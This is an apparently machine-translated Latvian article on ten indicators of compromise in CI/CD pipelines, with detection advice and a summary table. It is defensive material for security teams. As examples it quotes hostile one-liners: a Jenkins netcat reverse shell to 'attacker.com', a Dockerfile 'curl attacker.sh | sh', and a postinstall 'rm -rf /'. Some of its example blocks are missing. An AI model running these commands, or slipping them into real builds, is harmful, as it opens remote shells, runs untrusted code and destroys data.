Ievads: Kādi ir kiberdrošības kompromitēšanas rādītāji?
Kompromitācijas indikatori ir pirmās brīdinājuma zīmes, kas liecina, ka jūsu sistēma vai pipeline var tikt uzbrukuma objekts. Vienkāršiem vārdiem sakot, kompromisa rādītāji ir uzbrucēju atstātas pēdas, piemēram, dīvainas logins, failu izmaiņas vai slēpta ļaunprogrammatūra. SOK kiberdrošība, tie darbojas kā pirkstu nospiedumi nozieguma vietā, sniedzot skaidrus pierādījumus, ka kaut kas nav kārtībā. Tāpēc, kad izstrādātāji jautā Kādi ir kompromisa rādītāji?, atbilde neaprobežojas tikai ar serveriem vai ugunsmūriem, tā ietver arī mūsdienu slēptos riskus CI/CD pipelines.
Šajos pipelineUzbrucēji var nepamanīti manipulēt ar kodu, ievietot ļaunprātīgas atkarības vai mainīt izveides soļus. Tomēr lielākā daļa rokasgrāmatu joprojām koncentrējas tikai uz serveriem vai tīkliem. Tā rezultātā programmatūras piegādes ķēde ir kļuvusi par vienu no vieglākajiem mērķiem.
Tāpēc ir jāmeklē kompromisa rādītāji CI/CD pipelineir būtiska. Pirmkārt un galvenokārt, tā palīdz komandām bloķēt ļaunprogrammatūru, aizsargāt noslēpumus un nodrošināt katru programmatūras piegādes soli.
10 galvenie kompromisa rādītāji CI/CD Pipelines
Skaidrojot kompromitēšanas indikatorus, lielākajā daļā sarakstu galvenā uzmanība tiek pievērsta serveriem vai tīkliem. Tomēr CI/CD pipelineUzbrucēji atstāj ļoti atšķirīgus pirkstu nospiedumus. Šo signālu atpazīšana ir ļoti svarīga proaktīvai aizsardzībai. Tālāk ir norādīti 10 IOC kiberdrošības brīdinājuma signāli, kuriem jāpievērš uzmanība katram izstrādātājam un drošības inženierim.
1. Aizdomīgas atkarības izmaiņas
Viens no galvenajiem kompromisa rādītājiem pipelines ir pēkšņs, dīvains atkarības atjauninājums. Uzbrucēji bieži izmanto uzticamības līmeni, ko izstrādātāji piešķir pakotņu pārvaldniekiem, lai pievienotu bīstamas pakotnes.
Piemēram, npm a package.json atšķirība var pēkšņi ietvert:
Šādas izmaiņas var šķist drošas, taču tās var ievadīt Trojas zirga kodu katrā versijā.
Ietekme: Apdraudētās versijas manto ļaunprogrammatūru jau no avota.
Noteikšana: ieviest atkarību pārskatīšanu, izsekot bloķēšanas failu atšķirības un visu laiku skenēt jaunas pakotnes.
2. Aptumšots kods versijās
Ļaunprogrammatūras autori izmanto obfuskāciju, lai apietu atsauksmes. Tā rezultātā šis kompromitēšanas rādītājs CI/CD pipelinevar būt viens no visgrūtāk pamanāmajiem. Faktiski apmulsinātas vērtuma slodzes bieži vien bez iepriekšēja brīdinājuma nonāk atvērtā pirmkoda bibliotēkās vai konteineru attēlos.
Piemēram:
- PyPI pakotne, kas izmanto
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Docker attēls, kas aprīkots ar nevajadzīgiem UPX binārajiem failiem.
- JavaScript pilns ar
\x41\x42aizbēg, slēpjot akreditācijas datu zagļus.
Ietekme: Slēptais kods tiek izpildīts klusi gan būvēšanas, gan izpildes laikā, kas padara to par kritisku signālu IOC kiberdrošībā.
Noteikšana: Apvienot SAST ar ļaunprogrammatūras skenēšanu, lai atzīmētu kodētu vai iepakotu kodu. Pats galvenais, uztveriet obfukāciju kā brīdinājuma signālu, kas ir pelnījis turpmāku izmeklēšanu.
3. Git atklātie noslēpumi: klasisks IOC kiberdrošības risks
CI/CD pipelinebieži vien noslēpumus manto tieši no krātuvēm. Tomēr kad Git parādās noslēpumi, tie kļūst par vienu no skaidrākajām atbildēm uz jautājumu "kādas ir kompromisa pazīmes" pipelines?” Kad akreditācijas dati ir nonākuši Git, uzbrucēji tos var izmantot bezgalīgi.
Piemēram:
- A
.envfails, kas saturAWS_SECRET_KEY=. - Žetoni iespiesti
config.json. - Noslēpumi joprojām ir redzami Git vēsturē pat pēc noņemšanas.
Ietekme: Atklātas atslēgas nodrošina uzbrucējiem tiešu piekļuvi CI/CD pipelines, mākoņsistēmas vai datubāzes. Tāpēc šī ir viena no bīstamākajām kompromitēšanas pazīmēm.
Noteikšana: lietošana pre-commit hooks un CI uzdevumus slepenai skenēšanai un nekavējoties atsaukt nopludinātās atslēgas. Turklāt ieviest automatizētu labošanu, lai samazinātu iedarbības logus.
4. Viltoti Pipeline Konfigurācijas: slēptās kompromisa pazīmes
Pipeline konfigurācijas ir augstas vērtības mērķi, jo viena modifikācija bieži vien ietekmē visu darbplūsmuLīdz ar to, manipulēts pipeline faili ir būtisks SOK kiberdrošības risks, ko tradicionālie uzraudzības rīki reti atklāj.
Piemēram:
GitHub darbībās:
- GitLab: pievienots ļaunprātīgs uzdevums
.gitlab-ci.ymlkas izgāž sensitīvus datus. - Dženkinsā:
sh "nc -e /bin/bash attacker.com 4444".
Ietekme: Šīs neapstiprinātās izmaiņas padara jūsu pipeline kļūst par pastāvīgām aizmugurējām durvīm uzbrucējiem, kas nepārprotami tiek uzskatīts par kompromitēšanas rādītāju.
Noteikšana: Nodrošināt parakstītu konfigurāciju ieviešanu, pieprasīt sabiedrisko attiecību pārstāvju apstiprinājumus un uzraudzīt negaidītus uzdevumus. Turklāt iestatīt guardrails kas automātiski bloķē mainītās darbplūsmas.
5. Priviliģēts IaC Noklusējumus
Nepareizi konfigurētas infrastruktūras definīcijas bieži rada slēptas aizmugurējās durvis. Tā rezultātā privilēģijas pēc noklusējuma tiek izmantotas. IaC ir klasisks SOK kiberdrošības risks.
Piemēram:
- Kubernetes izvietošanas piešķiršanas podi
privileged: true. - Helma diagrammas atklāj pakalpojumus ar
0.0.0.0:22.
Ietekme: Uzbrucēji iegūst root līmeņa piekļuvi vai publiski atklāj iekšējos pakalpojumus. Līdz ar to šīs problēmas ievērojami paplašina uzbrukuma virsmu.
Noteikšana: Izvēlēties IaC skenēšana, lai pirms apvienošanas nodrošinātu vismazākās privilēģijas. Turklāt pārliecinieties, vai katra konfigurācija ir pārskatīta kā daļa no pipeline.
6. Neparasta uzbūves uzvedība
Uzbrucēji bieži maina pipeline uzvedība, lai ieviestu ļaunprātīgas darbības. Citiem vārdiem sakot, neparasta būvēšanas aktivitāte ir viena no skaidrākajām atbildēm uz jautājumu, kas ir kompromitēšanas rādītāji CI/CD pipelines.
Piemēram:
- Veido izejošos tīkla pieprasījumus uz dīvainiem domēniem.
- Node.js projekts pēkšņi ģenerē PowerShell laikā
npm install. - CI uzdevums, kas lejupielādē lielus bināros failus, kas nav definēti būvēšanas skriptos.
Ietekme: Apdraudētas versijas var darboties kā ļaunprogrammatūras izplatīšanas punkti. Galvenais, ka tās izplata ļaunprātīgu slodzi katrā izvietojumā.
Noteikšana: Uzraugiet būvēšanas žurnālus, lai atklātu negaidītus procesus vai savienojumus. Turklāt konfigurējiet anomāliju noteikšanu, lai atzīmētu uzvedību, kas neatbilst normai.
7. Ļaunprātīgi pakotņu skripti kā IOC kiberdrošības riski
Pakotņu pārvaldnieku atbalsta dzīves cikls hooks ko uzbrucēji izmanto. Tāpēc ļaunprātīgi skripti npm, PyPI vai Dockerfiles ir spēcīgi kompromitēšanas rādītāji.
Piemēram:
- npm:
postinstallskripts darbojasrm -rf /vai signālu C2. - PyPI:
setup.pyinstalēšanas laikā tiek izpildīts slēpts Python kods. - Dockerfile:
RUN curl attacker.sh | sh.
Ietekme: Uzbrukums tiek izpildīts instalēšanas laikā, pirms jebkādas izpildlaika testēšanas. Līdz ar to izstrādātāji to var nepamanīt, kamēr nav par vēlu.
Noteikšana: Skenējiet pakotņu manifestus, lai atrastu instalēšanas skriptus. Turklāt ierobežojiet riskantos hooks in CI/CD darbavietas, lai samazinātu pakļaušanu iedarbībai.
8. Reģistra saindēšanās kompromitēšanas rādītāji
Uzbrucēji aizvieto vai modificē artefaktus reģistros, un šie notikumi ir mācību grāmatas piemēri tam, kas liecina par kompromitēšanu piegādes ķēdē. pipelines.
Piemēram:
- Docker attēla birka nemanāmi atjaunināta ar Trojas zirga skartu slāni.
- Iekšējais iepakojums aizstāts ar saindētu versiju.
- npm vārdtelpas ieņemšana, piemēram
lodash-proxy.
Ietekme: Katrs būvējums, kas izmanto reģistra artefaktu, tiek apdraudēts. Turklāt kompromitēšana izplatās arī uz lejupējiem pakalpojumiem.
Noteikšana: Veiciet paraksta un integritātes pārbaudes visos reģistra izvilkumos. Turklāt izsekojiet artefaktu izcelsmi, izmantojot SBOM apstiprināšanu.
9. Anomāla lietotāju aktivitāte kā IOC pierādījums
Apdraudēti konti gandrīz vienmēr atstāj aiz sevis neparastas pēdas. Attiecīgi neparasta izstrādātāja uzvedība ir spēcīgs kompromisa rādītājs.
Piemēram:
- Commits tika nospiests plkst. 3:00 pēc vietējā laika.
- Atvaļinājumā esošo kontu sabiedrisko attiecību apstiprinājumi.
- Pipelinetiek iedarbināts ar neparastu biežumu.
Ietekme: Uzbrucēji izmanto nozagtas pieteikšanās datus, lai ievietotu ļaunprātīgas izmaiņas. Galu galā neatļautas commitviegli iekļaujas parastajās darbplūsmās.
Noteikšana: Kontrolēt SCM anomāliju aktivitāte, MFA ieviešana un regulāra pilnvaru maiņa. Turklāt brīdināt par aizdomīgiem gadījumiem commit vai apstiprināšanas modeļi.
10. Neveiksmīgas integritātes vai paraksta pārbaudes SOK kiberdrošībā
Bieži sastopams, bet ignorēts kompromisa rādītājs ir neveiksmīga integritātes vai paraksta pārbaude. IOC kiberdrošībā šīs pārbaudes apstiprina koda vai artefaktu autentiskumu. To izlaišana atstāj pipelineir atsegtas.
Piemēri:
- SHA256 jaucējkods neatbilst paredzētajai kontrolsummai.
- Trūkstošs vai nederīgs GPG paraksts.
- An SBOM rāda neparakstītus artefaktus.
Ietekme: Integritātes kļūmes bieži nozīmē manipulācijas, reģistra saindēšanu vai ļaunprogrammatūras injekciju.
Noteikšana: Automatizējiet parakstu pārbaudes, ieviesiet kontrolsummas validāciju un bloķējiet neparakstītus komponentus. Pats galvenais – uztveriet katru neveiksmīgu pārbaudi kā skaidru pierādījumu par kompromitēšanu.
CI/CD Kompromisa rādītāji īsumā
| Kompromisa indikators (IOC) | Ietekme iekšā CI/CD Pipelines | Kā noteikt |
|---|---|---|
| Aizdomīgas atkarības izmaiņas | Uzbrucēji pakotņu pārvaldniekos ievieto ļaunprātīgas bibliotēkas, kā rezultātā tiek apdraudētas versijas. | Izsekojiet bloķēšanas failu atšķirības, veiciet atkarību pārskatīšanu un nepārtraukti skenējiet atkarības. |
| Aptumšots kods versijās | Slēptās vērtuma slodzes tiek izpildītas būvēšanas vai izpildes laikā bez noteikšanas. | lietošana SAST un ļaunprogrammatūras skenēšana, lai atzīmētu base64, heksadecimālos vai iesaiņotos koda modeļus. |
| Git atklātie noslēpumi | Nopludinātas žetoni vai API atslēgas piešķir uzbrucējiem tiešu piekļuvi kritiski svarīgām sistēmām. | Veiciet slepenas skenēšanas pakalpojumā Git hooks un automātiski atsaukt nopludinātos akreditācijas datus. |
| Viltoti Pipeline Konfigurācijas | Modificētas darbplūsmas ļauj datus izfiltrēt vai saglabāt iekšienē CI/CD. | Pieprasīt PR apstiprinājumus, ieviest parakstītas konfigurācijas un uzraudzīt pipeline izmaiņas. |
| Privileģēts IaC Noklusējumus | Pārāk atļaujošas lomas vai nedroši noklusējuma iestatījumi pakļauj mākoņvidi riskam. | Skenējiet Terraform, Kubernetes un Helm failus, lai nodrošinātu vismazāko privilēģiju ieviešanu. |
| Neparasta uzbūves uzvedība | Pipelinetiek izmantoti kā ļaunprogrammatūras izplatīšanas punkti vai sānu pārvietošanai. | Analizējiet būvēšanas žurnālus, lai atrastu negaidītas lejupielādes, procesus vai izejošos zvanus. |
| Ļaunprātīgi pakotņu skripti | Slēptie pirms/pēc instalēšanas skripti aktivizē vērtumus pirms izpildlaika testēšanas. | Bloķēt riskantus npm/PyPI skriptus un ierobežot to izpildi CI/CD darba vietas. |
| Reģistra saindēšanās | Trojiešu artefakti reģistros aizstāj uzticamus attēlus vai bināros failus. | Pārbaudiet kontrolsummas, ieviesiet paraksta validāciju un proaktīvi skenējiet reģistrus. |
| Anomāla lietotāja aktivitāte | Apdraudēti konti izplata ļaunprātīgu programmatūru commits vai sprūda pipelines. | Ieviest MFA, uzraudzīt commits anomālijām un analizējiet login modeļi. |
| Neizdevušās integritātes vai paraksta pārbaudes | Norāda uz manipulētu kodu, atkarībām vai attēliem, kas nonāk pipeline. | Automatizējiet integritātes pārbaudes un bloķējiet neparakstītus vai neatbilstošus komponentus. |
Kāpēc tradicionālā SOK kiberdrošība neizdodas CI/CD Risks
Lielākā daļa organizāciju jau uzrauga serveru, datoru vai tīklu kompromitēšanas rādītājus. Tomēr šī klasiskā pieeja IOC kiberdrošībai ignorē CI/CD pipelines, kas tagad ir viena no kritiskākajām uzbrukuma virsmām. Patiesībā, pipelinerāda unikālus kompromisa signālus, ko tradicionālie rīki nevar noteikt.
Kompromitācijas rādītāji tradicionālajā drošībā
Tradicionālajā IOC kiberdrošībā uzmanība parasti tiek pievērsta:
- neparasts loginvai IP adreses, kas liecina par nozagtiem akreditācijas datiem.
- Aizdomīgi failu jaucējkodi vai reģistra izmaiņas, kas atklāj ļaunprogrammatūru.
- Negaidīta izejošā datplūsma, kas norāda uz datu eksfiltrāciju.
Šie ir labi zināmi rādītāji, kurus arī seko līdzi MITER ATT&CK karkass, kas kartē izplatītu pretinieku uzvedību un taktiku. Tie ir noderīgi signāli. Tomēr tie galvenokārt attiecas uz operētājsistēmām vai korporatīvajiem tīkliem. Tā rezultātā tie nepamana smalkas manipulācijas, kas notiek agrāk programmatūras piegādes ķēdē.
Kāpēc CI/CD Pipelines ir atšķirīgi
CI/CD pipelineir automatizētas vides, kurās izstrādātāji commit kods, pull atkarības un izlaidumu versijas. Uzbrucēji zina, ka viens apdraudējums šeit ietekmē visu izvietojumu. Attiecīgi, kādas ir apdraudējuma pazīmes CI/CD pipelineTie izskatās ļoti atšķirīgi:
- Ļaunprātīga atkarība, kas nemanāmi pievienota failam package.json vai requirements.txt.
- Git atklātās API atslēgas vai žetoni commits vai .env faili.
- Aptumšots kods, kas ievadīts npm vai PyPI pakotnēs.
- Terraform vai Kubernetes faili ar nedrošiem noklusējuma iestatījumiem, piemēram, privileģēts: true.
- Pipeline darbi, kas rediģēti, lai izfiltrētu datus vai atvērtu aizmugures durvis.
Šie kompromisa signāli CI/CD palikt neredzamam standard drošības rīki.
SOK kiberdrošības plaisa
Lai gan daudzas komandas saprot kompromitēšanas indikatoru vērtību, tās joprojām paļaujas tikai uz noteikšanu serveros un tīkla žurnālos. Tādēļ uzbrucēji var saindēt versijas vai ievietot ļaunprogrammatūru, neatstājot ierastās pēdas. Tāpēc tādi incidenti kā XZ Utils aizmugurējās durvis vai ļaunprātīgas npm pakotnes netika atklāti, līdz tie sasniedza ražošanas vidi.
Šāda veida piegādes ķēdes kompromisus izceļ arī CISA piegādes ķēdes drošības vadlīnijas, kas brīdina, ka uzbrucēji arvien biežāk mērķē uz CI/CD pipelineun reģistri.
Takeaway
Tradicionālā SOK kiberdrošība ir nepieciešama, bet ar to nepietiek. Galvenais, lai komandas atpazītu specifiskas kompromitācijas pazīmes. CI/CD pipelines. Tikai tad viņi var atklāt ļaunprātīgu kodu vai pipeline ļaunprātīgu izmantošanu, pirms tā izplatās vidē.
